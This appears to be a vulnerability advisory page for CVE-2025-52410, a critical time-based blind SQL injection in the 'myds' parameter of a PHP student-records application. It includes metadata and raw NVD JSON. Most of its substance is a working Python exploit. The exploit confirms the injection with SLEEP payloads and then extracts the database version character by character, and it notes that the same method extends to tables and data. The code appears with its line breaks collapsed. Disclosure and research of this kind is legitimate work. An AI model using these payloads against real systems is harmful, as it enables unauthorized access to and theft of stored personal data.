Security Vulnerability Report
中文
CVE-2025-52410 CVSS 9.8 CRITICAL

CVE-2025-52410

Published: 2025-11-20 17:15:51
Last Modified: 2025-12-12 15:29:57

Description

Institute-of-Current-Students v1.0 contains a time-based blind SQL injection vulnerability in the mydetailsstudent.php endpoint. The `myds` GET parameter is not adequately sanitized before being used in SQL queries.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vishalmathur:institute-of-current-students:1.0:*:*:*:*:*:*:* - VULNERABLE
Institute-of-Current-Students v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time target_url = "http://target-site.com/mydetailsstudent.php" def sql_injection_test(): # Test for time-based blind SQL injection # Normal request baseline start = time.time() normal_params = {"myds": "1"} response = requests.get(target_url, params=normal_params) baseline_time = time.time() - start # Payload with 5 second delay payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- " start = time.time() malicious_params = {"myds": payload} response = requests.get(target_url, params=malicious_params) injection_time = time.time() - start # If injection_time > baseline_time + 4, vulnerability confirmed if injection_time > 5: print("[+] Time-based blind SQL injection vulnerability confirmed!") print(f"[+] Response time: {injection_time} seconds") return True else: print("[-] No vulnerability detected") return False def extract_data(): # Example: Extract database version # This would be expanded to extract tables, columns, and data charset = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' result = "" for i in range(1, 50): for char in charset: payload = f"1' AND IF(SUBSTRING((SELECT version()),{i},1)='{char}',SLEEP(3),0)-- " start = time.time() response = requests.get(target_url, params={"myds": payload}) if time.time() - start > 3: result += char print(f"[*] Extracted: {result}") break if len(result) == i - 1: break print(f"[+] Database version: {result}") return result if __name__ == "__main__": if sql_injection_test(): extract_data()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52410", "sourceIdentifier": "[email protected]", "published": "2025-11-20T17:15:50.760", "lastModified": "2025-12-12T15:29:56.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Institute-of-Current-Students v1.0 contains a time-based blind SQL injection vulnerability in the mydetailsstudent.php endpoint. The `myds` GET parameter is not adequately sanitized before being used in SQL queries."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vishalmathur:institute-of-current-students:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E670A96A-B432-46CC-8857-2B9DB87A61E7"}]}]}], "references": [{"url": "https://github.com/mathurvishal/Institute-of-Current-Students---PHP-Project/issues/2", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}